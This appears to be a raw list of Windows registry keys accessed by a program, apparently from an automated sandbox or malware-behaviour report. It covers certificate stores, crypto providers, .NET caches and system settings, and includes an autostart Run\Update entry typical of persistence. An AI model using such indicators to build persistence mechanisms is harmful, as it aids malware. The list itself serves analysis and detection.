HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\9A54A274
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DisableUNCCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\1AB4763B
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Update
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\1DF4D951
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\Scripting\Default Namespace
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
